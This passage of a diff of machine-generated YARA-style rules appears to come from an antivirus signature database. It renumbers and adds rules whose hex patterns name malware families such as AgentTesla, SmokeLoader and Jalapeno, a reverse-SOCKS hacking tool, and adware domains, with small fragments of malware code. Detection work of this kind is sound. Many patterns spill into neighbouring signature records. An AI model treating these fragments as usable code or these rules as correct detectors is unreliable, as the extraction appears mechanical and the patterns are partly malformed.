1)*18467+(#a_d3_1 & 1)*-5003) >=6 } -rule _InfrastructureShared_12340{ +rule _InfrastructureShared_13149{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 44 61 72 6b 43 6c 6f 75 64 2e 41 57 54 41 21 4d 54 42 00 05 00 6d 03 0a 0d 09 08 1f 20 6f 90 01 02 00 0a 6f 90 01 02 00 0a 00 09 08 1f 10 6f 90 01 02 00 0a 6f 90 01 02 00 } //21539 + $a_09_1 = {6f 90 01 02 00 0a 09 6f 90 } //10 + condition: + ((#a_4c_0 & 1)*21539+(#a_09_1 & 1)*10) >=6 + +} +rule _InfrastructureShared_13150{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -137353,7 +146519,7 @@ rule _InfrastructureShared_12340{ ((#a_54_0 & 1)*18467+(#a_6b_1 & 1)*28524+(#a_53_2 & 1)*14958+(#a_6f_3 & 1)*19578+(#a_6b_4 & 1)*29295+(#a_76_5 & 1)*29797) >=6 } -rule _InfrastructureShared_12341{ +rule _InfrastructureShared_13151{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -137368,7 +146534,7 @@ rule _InfrastructureShared_12341{ ((#a_54_0 & 1)*18467+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_b1_5 & 1)*0) >=6 } -rule _InfrastructureShared_12342{ +rule _InfrastructureShared_13152{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -137383,7 +146549,7 @@ rule _InfrastructureShared_12342{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*28265+(#a_64_2 & 1)*28524+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1) >=6 } -rule _InfrastructureShared_12343{ +rule _InfrastructureShared_13153{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -137398,7 +146564,7 @@ rule _InfrastructureShared_12343{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*-32487+(#a_61_2 & 1)*28773+(#a_00_3 & 1)*25976+(#a_49_4 & 1)*384+(#a_6e_5 & 1)*19828) >=6 } -rule _InfrastructureShared_12344{ +rule _InfrastructureShared_13154{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 08 00 21 " @@ -137415,7 +146581,7 @@ rule _InfrastructureShared_12344{ ((#a_41_0 & 1)*20515+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*-100+(#a_80_4 & 1)*-100+(#a_b1_5 & 1)*0+(#a_2e_6 & 1)*25961+(#a_80_7 & 1)*1) >=6 } -rule _InfrastructureShared_12345{ +rule _InfrastructureShared_13155{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 04 00 21 " @@ -137428,7 +146594,7 @@ rule _InfrastructureShared_12345{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*25188+(#a_73_2 & 1)*18945+(#a_41_3 & 1)*19529) >=8 } -rule _InfrastructureShared_12346{ +rule _InfrastructureShared_13156{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -137444,7 +146610,7 @@ rule _InfrastructureShared_12346{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*27477+(#a_48_2 & 1)*8448+(#a_00_3 & 1)*66+(#a_01_5 & 1)*29706+(#a_33_6 & 1)*26967+(#a_65_7 & 1)*28233) >=8 } -rule _InfrastructureShared_12347{ +rule _InfrastructureShared_13157{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -137454,7 +146620,7 @@ rule _InfrastructureShared_12347{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_12348{ +rule _InfrastructureShared_13158{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 04 00 21 " @@ -137467,7 +146633,7 @@ rule _InfrastructureShared_12348{ ((#a_54_0 & 1)*18467+(#a_38_1 & 1)*16948+(#a_65_2 & 1)*28233+(#a_74_3 & 1)*24931) >=11 } -rule _InfrastructureShared_12349{ +rule _InfrastructureShared_13159{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 09 00 21 " @@ -137484,7 +146650,7 @@ rule _InfrastructureShared_12349{ ((#a_77_0 & 1)*16675+(#a_01_1 & 1)*2+(#a_01_2 & 1)*1+(#a_01_3 & 1)*4+(#a_01_4 & 1)*2+(#a_b1_5 & 1)*0+(#a_65_7 & 1)*385+(#a_53_8 & 1)*14958) >=12 } -rule _InfrastructureShared_12350{ +rule _InfrastructureShared_13160{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 06 00 21 " @@ -137498,7 +146664,7 @@ rule _InfrastructureShared_12350{ ((#a_54_0 & 1)*18467+(#a_61_2 & 1)*21505+(#a_54_3 & 1)*8520+(#a_01_4 & 1)*29703+(#a_11_5 & 1)*11010) >=15 } -rule _InfrastructureShared_12351{ +rule _InfrastructureShared_13161{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 04 00 21 " @@ -137511,7 +146677,7 @@ rule _InfrastructureShared_12351{ ((#a_54_0 & 1)*18467+(#a_28_1 & 1)*400+(#a_25_2 & 1)*400+(#a_13_3 & 1)*400) >=16 } -rule _InfrastructureShared_12352{ +rule _InfrastructureShared_13162{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 05 00 21 " @@ -137523,20 +146689,31 @@ rule _InfrastructureShared_12352{ ((#a_54_0 & 1)*18467+(#a_69_2 & 1)*16897+(#a_20_4 & 1)*11776) >=18 } -rule _InfrastructureShared_12353{ +rule _InfrastructureShared_13163{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 05 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 5a 21 4d 54 42 00 0a 00 2e 02 20 00 01 00 00 14 14 19 8d 90 01 04 25 16 7e 90 01 04 a2 25 17 7e 90 01 04 a2 25 18 72 90 01 03 70 a2 6f 90 01 04 26 20 00 08 00 00 90 00 02 } //18467 - $a_01_1 = {46 6f 72 6d 61 74 74 65 72 54 79 70 65 53 74 79 6c 65 02 00 13 80 01 57 53 54 52 42 75 66 66 65 72 4d 61 72 73 68 61 6c 65 72 02 00 10 80 01 45 71 75 61 6c 69 74 79 43 6f 6d 70 61 72 65 72 02 00 08 80 01 47 65 74 54 79 70 65 73 00 00 78 b1 00 00 64 00 64 00 03 00 21 23 41 4c 46 3a 48 53 54 52 3a 50 55 41 3a 57 69 6e 33 32 2f 49 70 76 68 61 63 6b 00 01 00 10 80 01 49 50 54 56 20 7c } //4608 - $a_20_2 = {61 63 6b 65 52 01 00 3c 00 73 00 61 00 74 00 2d 00 6d 00 61 00 73 00 74 00 65 00 72 00 2e 00 6f 00 72 00 67 00 2f 00 6d 00 69 00 73 00 63 00 2e 00 70 00 68 00 70 00 3f 00 64 00 6f 00 3d 00 62 00 75 00 79 00 01 00 31 02 77 00 69 00 6e 00 6c 00 6f 00 67 00 6f 00 6e 00 2e 00 65 00 78 00 65 00 90 02 10 53 00 63 00 61 00 6e 00 65 00 72 00 2e 00 65 00 78 00 65 00 90 } //25120 - $a_00_4 = {00 78 00 78 00 06 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 36 34 2f 48 6f 70 53 6f 63 6b 73 2e 41 00 64 00 28 01 72 73 6f 63 6b 73 74 75 6e 20 2d 20 72 65 76 65 72 73 65 20 73 6f 63 6b 73 35 20 73 65 72 76 65 72 2f 63 6c 69 65 6e 74 64 00 27 01 72 65 76 73 6f 63 6b 73 20 2d 20 72 65 76 65 72 73 65 20 73 6f 63 6b 73 35 20 73 65 72 76 65 72 2f 63 6c 69 65 6e 74 05 00 04 01 72 65 63 74 05 00 09 01 70 72 6f 78 79 61 75 74 68 05 00 0c 01 70 72 6f 78 79 74 69 6d 65 6f 75 74 05 00 09 01 75 73 65 72 61 67 65 6e 74 00 } //30720 + $a_01_1 = {46 6f 72 6d 61 74 74 65 72 54 79 70 65 53 74 79 6c 65 02 00 13 80 01 57 53 54 52 42 75 66 66 65 72 4d 61 72 73 68 61 6c 65 72 02 00 10 80 01 45 71 75 61 6c 69 74 79 43 6f 6d 70 61 72 65 72 02 00 08 80 01 47 65 74 54 79 70 65 73 00 00 78 b1 00 00 41 00 41 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 6d 6f 6b 65 4c 6f 61 64 65 72 2e 4d 52 21 4d 54 42 00 0f 00 } //4608 + $a_c7_2 = {00 00 00 00 48 c7 44 24 20 00 00 00 00 48 c7 44 24 28 00 00 00 00 48 89 5c 24 30 48 89 74 24 38 48 89 64 24 40 48 c7 44 24 48 00 00 00 00 41 ff d5 48 83 c4 50 48 83 ec 20 48 c7 c1 ff ff ff ff 48 c7 c2 00 00 00 00 41 ff } //343 + $a_c4_3 = {48 83 c4 10 41 5c 32 00 24 01 94 30 30 30 db 35 5e 79 db c5 18 db 20 9d 03 45 37 5a 00 bb 24 14 b3 f4 34 db 35 30 4b db c2 05 d8 96 d6 cf 00 00 78 b1 00 00 64 00 64 00 03 00 21 23 41 4c 46 3a 48 53 54 52 3a 50 55 41 3a 57 69 6e 33 32 2f 49 70 76 68 61 63 6b 00 01 00 10 80 01 49 50 54 56 20 7c 20 62 79 20 48 61 63 6b 65 52 01 00 3c 00 73 00 61 00 74 00 2d 00 6d 00 61 00 73 00 74 00 65 00 72 } //18646 condition: - ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*4608+(#a_20_2 & 1)*25120+(#a_00_4 & 1)*30720) >=18 + ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*4608+(#a_c7_2 & 1)*343+(#a_c4_3 & 1)*18646) >=18 } -rule _InfrastructureShared_12354{ +rule _InfrastructureShared_13164{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,41 00 41 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 6d 6f 6b 65 4c 6f 61 64 65 72 2e 4d 52 21 4d 54 42 00 0f 00 57 01 49 c7 c1 00 00 00 00 48 c7 44 24 20 00 00 00 00 48 c7 44 24 28 00 00 00 00 48 89 5c 24 30 48 89 74 } //21539 + $a_89_1 = {24 40 48 c7 44 24 48 00 00 00 00 41 ff d5 48 83 c4 50 48 83 ec 20 48 c7 c1 ff ff ff ff 48 c7 c2 00 00 00 00 41 ff d6 48 83 c4 20 48 83 c4 10 41 5c 32 00 24 01 94 30 30 30 db 35 5e 79 db c5 18 db 20 9d 03 45 37 5a 00 } //14372 + condition: + ((#a_4c_0 & 1)*21539+(#a_89_1 & 1)*14372) >=65 + +} +rule _InfrastructureShared_13165{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 03 00 21 " @@ -137548,7 +146725,7 @@ rule _InfrastructureShared_12354{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*47+(#a_6e_2 & 1)*22330) >=100 } -rule _InfrastructureShared_12355{ +rule _InfrastructureShared_13166{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,78 00 78 00 06 00 21 " @@ -137563,7 +146740,7 @@ rule _InfrastructureShared_12355{ ((#a_46_0 & 1)*16675+(#a_63_1 & 1)*29558+(#a_57_2 & 1)*29285+(#a_20_3 & 1)*18758+(#a_53_4 & 1)*17731+(#a_5d_5 & 1)*8041) >=120 } -rule _InfrastructureShared_12356{ +rule _InfrastructureShared_13167{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffff96 00 ffffff96 00 03 00 21 " @@ -137575,7 +146752,7 @@ rule _InfrastructureShared_12356{ ((#a_46_0 & 1)*16675+(#a_45_1 & 1)*8263+(#a_49_2 & 1)*21331) >=150 } -rule _InfrastructureShared_12357{ +rule _InfrastructureShared_13168{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -137585,7 +146762,7 @@ rule _InfrastructureShared_12357{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_12358{ +rule _InfrastructureShared_13169{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -137595,7 +146772,7 @@ rule _InfrastructureShared_12358{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_12359{ +rule _InfrastructureShared_13170{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -137605,7 +146782,7 @@ rule _InfrastructureShared_12359{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_12360{ +rule _InfrastructureShared_13171{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -137616,7 +146793,7 @@ rule _InfrastructureShared_12360{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*11568) >=1 } -rule _InfrastructureShared_12361{ +rule _InfrastructureShared_13172{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -137628,7 +146805,7 @@ rule _InfrastructureShared_12361{ ((#a_46_0 & 1)*16675+(#a_54_1 & 1)*15363+(#a_66_2 & 1)*30839) >=1 } -rule _InfrastructureShared_12362{ +rule _InfrastructureShared_13173{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -137640,7 +146817,7 @@ rule _InfrastructureShared_12362{ ((#a_54_0 & 1)*18467+(#a_49_1 & 1)*12290+(#a_00_2 & 1)*105) >=1 } -rule _InfrastructureShared_12363{ +rule _InfrastructureShared_13174{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 06 00 21 " @@ -137648,29 +146825,39 @@ rule _InfrastructureShared_12363{ $a_5f_0 = {78 68 61 75 73 74 69 76 65 68 73 74 72 5f 72 65 73 63 61 6e 00 01 00 20 01 2f 00 72 00 6f 00 74 00 61 00 74 00 69 00 6f 00 6e 00 2e 00 69 00 6d 00 2e 00 70 00 68 00 70 00 01 00 12 01 26 00 72 00 6f 00 74 00 69 00 64 00 3d 00 31 00 00 00 01 00 12 01 00 00 2f 00 6e 00 6f 00 74 00 69 00 66 00 69 00 00 00 01 00 10 01 00 00 2f 00 6e 00 } //25635 $a_00_1 = {69 00 66 00 00 00 01 00 12 01 00 00 74 00 69 00 66 00 69 00 63 00 61 00 74 00 00 00 01 00 11 01 10 54 49 78 43 61 6d 70 61 69 67 6e 51 75 65 75 65 00 00 78 b2 00 00 01 00 01 00 08 00 21 23 48 53 54 52 3a 48 61 73 4b 6e 6f 77 6e 41 64 77 61 72 65 44 6f 6d 61 69 6e 00 01 00 14 01 6c 6f 6c 6c 69 70 6f 70 2d 6e 65 74 77 6f 72 6b 2e 63 6f 6d 01 00 0c } //111 $a_66_2 = {72 62 6f 78 2e 63 6f 6d 01 00 0d 01 61 64 64 6c 79 72 69 63 73 2e 6e 65 74 01 00 0b 01 64 65 61 6c 70 6c 79 2e 63 6f 6d 01 00 0d 01 73 61 66 65 73 61 76 65 72 2e 6e 65 74 01 00 0d 01 69 6e 66 6f 61 74 6f 6d 73 2e 63 6f 6d 01 00 0e 01 67 65 74 77 65 62 63 61 6b 65 2e 63 6f 6d 01 00 0e 01 66 69 6e 64 6c 79 } //28417 - $a_73_3 = {63 6f 2f 00 00 78 b2 00 00 02 00 02 00 02 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4b 4a 48 43 31 32 33 21 4d 54 42 00 01 00 2f 03 16 0b 2b 1b 00 06 07 02 07 18 5a 18 6f 90 01 01 00 00 0a 1f 10 28 90 01 01 00 00 0a d2 9c 00 07 17 58 0b 07 06 8e } //26994 - $a_0c_4 = {08 2d db 90 } //-407 + $a_73_3 = {63 6f 2f 00 00 78 b2 00 00 02 00 02 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4a 61 6c 61 70 65 6e 6f 2e 42 41 46 21 4d 54 42 00 02 00 83 03 1a 8d 04 00 00 01 13 02 38 23 00 00 00 73 0e 00 00 0a 7a 11 00 16 73 0f 00 00 0a 13 03 38 24 00 00 00 11 01 90 01 02 00 00 0a 13 04 38 } //26994 + $a_02_5 = {16 1a 90 01 02 00 00 0a 1a 3b d2 ff ff ff 38 c7 ff } //17 condition: - ((#a_5f_0 & 1)*25635+(#a_00_1 & 1)*111+(#a_66_2 & 1)*28417+(#a_73_3 & 1)*26994+(#a_0c_4 & 1)*-407) >=1 + ((#a_5f_0 & 1)*25635+(#a_00_1 & 1)*111+(#a_66_2 & 1)*28417+(#a_73_3 & 1)*26994+(#a_02_5 & 1)*17) >=1 } -rule _InfrastructureShared_12364{ +rule _InfrastructureShared_13175{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 08 00 21 " strings : $a_54_0 = {3a 48 61 73 4b 6e 6f 77 6e 41 64 77 61 72 65 44 6f 6d 61 69 6e 00 01 00 14 01 6c 6f 6c 6c 69 70 6f 70 2d 6e 65 74 77 6f 72 6b 2e 63 6f 6d 01 00 0c 01 6f 66 66 65 72 62 6f 78 2e 63 6f 6d 01 00 0d 01 61 64 64 6c 79 72 69 63 73 2e 6e 65 74 01 00 0b 01 } //18467 - $a_6c_1 = {6c 79 2e 63 6f 6d 01 00 0d 01 73 61 66 65 73 61 76 65 72 2e 6e 65 74 01 00 0d 01 69 6e 66 6f 61 74 6f 6d 73 2e 63 6f 6d 01 00 0e 01 67 65 74 77 65 62 63 61 6b 65 2e 63 6f 6d 01 00 0e 01 66 69 6e 64 6c 79 72 69 63 73 2e 63 6f 2f 00 00 78 b2 00 00 02 00 02 00 02 00 21 23 48 53 54 52 3a 54 72 } //25956 - $a_6e_2 = {4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4b 4a 48 43 31 32 33 21 4d 54 42 00 01 00 2f 03 16 0b 2b 1b 00 06 07 02 07 18 5a 18 6f 90 01 01 00 00 0a 1f 10 28 90 01 01 00 00 0a d2 9c 00 07 17 58 0b 07 06 8e 69 fe 04 0c 08 2d db 90 00 01 00 49 01 34 00 44 00 35 00 41 00 39 00 7c 00 7c 00 } //27247 - $a_00_3 = {7c 00 7c 00 30 00 34 00 7c 00 7c 00 7c 00 46 00 46 00 46 00 46 00 7c 00 7c 00 42 00 38 00 7c 00 7c 00 7c 00 7c 00 7c 00 7c 00 7c 00 34 00 7c 00 7c 00 7c 00 7c 00 7c 00 00 78 b2 00 00 02 00 02 00 02 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4e 45 58 31 21 4d 54 42 00 01 00 32 01 11 04 11 0d 91 13 0e 07 17 58 11 09 5d 13 } //51 - $a_02_4 = {08 07 91 11 0e 61 08 } //2063 - $a_59_5 = {34 00 00 06 28 4b 00 00 0a 9c 07 17 58 0b 07 08 8e 69 32 83 01 00 49 01 1a 8d 08 00 00 01 25 d0 17 00 00 04 28 4a 00 00 0a 0d 1b 8d 08 00 00 01 25 d0 16 00 00 04 28 4a 00 00 0a 13 05 1b 8d 08 00 00 01 25 d0 18 00 00 04 28 4a 00 00 0a 13 06 1e 8d 08 00 00 01 25 d0 15 00 00 04 28 4a 00 00 0a 00 00 78 b2 00 00 02 00 02 00 02 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4e 4a 58 31 21 4d } //3857 - $a_74_7 = {00 } //20992 + $a_6c_1 = {6c 79 2e 63 6f 6d 01 00 0d 01 73 61 66 65 73 61 76 65 72 2e 6e 65 74 01 00 0d 01 69 6e 66 6f 61 74 6f 6d 73 2e 63 6f 6d 01 00 0e 01 67 65 74 77 65 62 63 61 6b 65 2e 63 6f 6d 01 00 0e 01 66 69 6e 64 6c 79 72 69 63 73 2e 63 6f 2f 00 00 78 b2 00 00 02 00 02 00 01 00 21 23 54 45 4c 3a 54 72 6f } //25956 + $a_3a_2 = {53 49 4c 2f 4a 61 6c 61 70 65 6e 6f 2e 42 41 46 21 4d 54 42 00 02 00 83 03 1a 8d 04 00 00 01 13 02 38 23 00 00 00 73 0e 00 00 0a 7a 11 00 16 73 0f 00 00 0a 13 03 38 24 00 00 00 11 01 90 01 02 00 00 0a 13 04 38 48 00 00 00 11 00 11 02 16 1a 90 01 02 00 00 0a 1a 3b d2 ff ff ff 38 c7 ff ff ff 00 11 03 11 01 90 01 02 00 00 0a 38 00 } //24938 + $a_11_4 = {39 11 00 00 00 38 00 00 00 00 11 03 90 01 02 00 00 0a 38 00 00 00 00 dc 38 aa ff ff ff dd 37 00 00 00 90 00 00 00 78 b2 00 00 02 00 02 00 02 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4b 4a 48 43 31 32 33 21 4d 54 42 00 01 00 2f 03 16 0b 2b 1b 00 06 07 02 07 18 5a 18 6f 90 01 01 00 00 0a 1f 10 28 90 01 01 00 00 0a d2 9c 00 07 17 58 0b 07 06 8e 69 fe 04 0c 08 2d db 90 00 01 00 49 01 34 00 44 00 35 00 41 00 39 00 7c 00 7c 00 33 00 7c 00 7c 00 7c 00 30 00 34 00 7c 00 7c 00 7c 00 46 00 46 00 46 00 46 00 7c 00 7c 00 42 00 38 00 7c 00 7c 00 7c 00 7c 00 7c 00 7c 00 7c 00 34 00 7c 00 7c 00 7c 00 7c 00 7c 00 00 78 b2 00 00 02 00 02 00 02 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 } //-1 + $a_61_5 = {4e 45 58 31 21 4d 54 42 00 01 00 32 01 11 04 11 0d 91 13 0e 07 17 58 11 09 5d 13 0f 08 07 02 08 07 91 11 0e 61 08 11 0f 91 59 28 34 00 00 06 28 4b 00 00 0a 9c 07 17 58 0b 07 08 8e 69 32 83 01 00 49 01 1a 8d 08 00 00 01 25 d0 17 00 00 04 28 4a 00 00 0a 0d 1b 8d 08 00 00 01 25 d0 16 00 00 04 28 4a 00 00 0a 13 05 1b 8d 08 00 } //29541 + $a_d0_6 = {00 00 04 28 4a 00 00 0a 13 06 1e 8d 08 00 00 01 25 d0 15 00 00 04 28 4a 00 00 0a 00 00 78 b2 00 00 02 00 02 00 } //256 + $a_23_7 = {53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4e 4a 58 31 21 4d } //2 STR:Trojan:MSIL/AgentTesla.NJX1!M condition: - ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*25956+(#a_6e_2 & 1)*27247+(#a_00_3 & 1)*51+(#a_02_4 & 1)*2063+(#a_59_5 & 1)*3857+(#a_74_7 & 1)*20992) >=1 + ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*25956+(#a_3a_2 & 1)*24938+(#a_11_4 & 1)*-1+(#a_61_5 & 1)*29541+(#a_d0_6 & 1)*256+(#a_23_7 & 1)*2) >=1 } -rule _InfrastructureShared_12365{ +rule _InfrastructureShared_13176{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4a 61 6c 61 70 65 6e 6f 2e 42 41 46 21 4d 54 42 00 02 00 83 03 1a 8d 04 00 00 01 13 02 38 23 00 00 00 73 0e 00 00 0a 7a 11 00 16 73 0f 00 00 0a 13 03 38 24 00 00 00 11 01 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=2 + +} +rule _InfrastructureShared_13177{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -137681,7 +146868,7 @@ rule _InfrastructureShared_12365{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*-9427) >=2 } -rule _InfrastructureShared_12366{ +rule _InfrastructureShared_13178{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -137692,7 +146879,7 @@ rule _InfrastructureShared_12366{ ((#a_54_0 & 1)*18467+(#a_83_1 & 1)*27022) >=2 } -rule _InfrastructureShared_12367{ +rule _InfrastructureShared_13179{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -137703,7 +146890,7 @@ rule _InfrastructureShared_12367{ ((#a_54_0 & 1)*18467+(#a_91_1 & 1)*2136) >=2 } -rule _InfrastructureShared_12368{ +rule _InfrastructureShared_13180{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -137713,7 +146900,7 @@ rule _InfrastructureShared_12368{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_12369{ +rule _InfrastructureShared_13181{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -137724,7 +146911,7 @@ rule _InfrastructureShared_12369{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*1024) >=2 } -rule _InfrastructureShared_12370{ +rule _InfrastructureShared_13182{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -137734,7 +146921,7 @@ rule _InfrastructureShared_12370{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_12371{ +rule _InfrastructureShared_13183{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -137745,7 +146932,7 @@ rule _InfrastructureShared_12371{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*0) >=2 } -rule _InfrastructureShared_12372{ +rule _InfrastructureShared_13184{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -137756,7 +146943,19 @@ rule _InfrastructureShared_12372{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*335) >=2 } -rule _InfrastructureShared_12373{ +rule _InfrastructureShared_13185{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " + + strings : + $a_46_0 = {48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 44 69 67 69 74 61 6c 50 61 70 65 72 2e 41 21 64 68 61 00 02 00 30 01 30 4d 62 51 30 2b 4c 61 79 2b 44 79 38 66 45 43 2f 66 50 67 2f 50 33 7a 38 66 7a 37 30 41 4c 7a 79 39 41 43 38 66 } //16675 + $a_41_1 = {77 6e 77 3d 3d 01 00 26 01 5c 00 5c 00 2e 00 5c 00 70 00 69 00 70 00 65 00 5c 00 47 00 6f 00 6c 00 64 00 65 00 6e 00 46 00 69 00 73 00 68 00 01 00 20 01 47 00 6c 00 6f 00 62 00 61 00 6c 00 5c 00 } //12888 + $a_00_2 = {69 00 63 00 65 00 43 00 61 00 6c 00 6c 00 00 00 78 b2 00 00 02 00 02 00 03 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 54 77 69 6e 47 65 61 72 2e 48 21 64 68 61 00 02 00 35 01 54 68 65 20 70 61 72 61 6d 65 74 65 72 20 61 74 20 6c 65 61 73 74 20 74 77 6f 2c 20 75 73 65 20 61 73 20 3a 20 45 58 45 20 42 69 6e 50 } //86 + condition: + ((#a_46_0 & 1)*16675+(#a_41_1 & 1)*12888+(#a_00_2 & 1)*86) >=2 + +} +rule _InfrastructureShared_13186{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -137768,7 +146967,7 @@ rule _InfrastructureShared_12373{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*28265+(#a_00_2 & 1)*28530) >=2 } -rule _InfrastructureShared_12374{ +rule _InfrastructureShared_13187{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -137780,7 +146979,7 @@ rule _InfrastructureShared_12374{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*9729+(#a_57_2 & 1)*27759) >=2 } -rule _InfrastructureShared_12375{ +rule _InfrastructureShared_13188{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -137792,7 +146991,7 @@ rule _InfrastructureShared_12375{ ((#a_4c_0 & 1)*21539+(#a_75_1 & 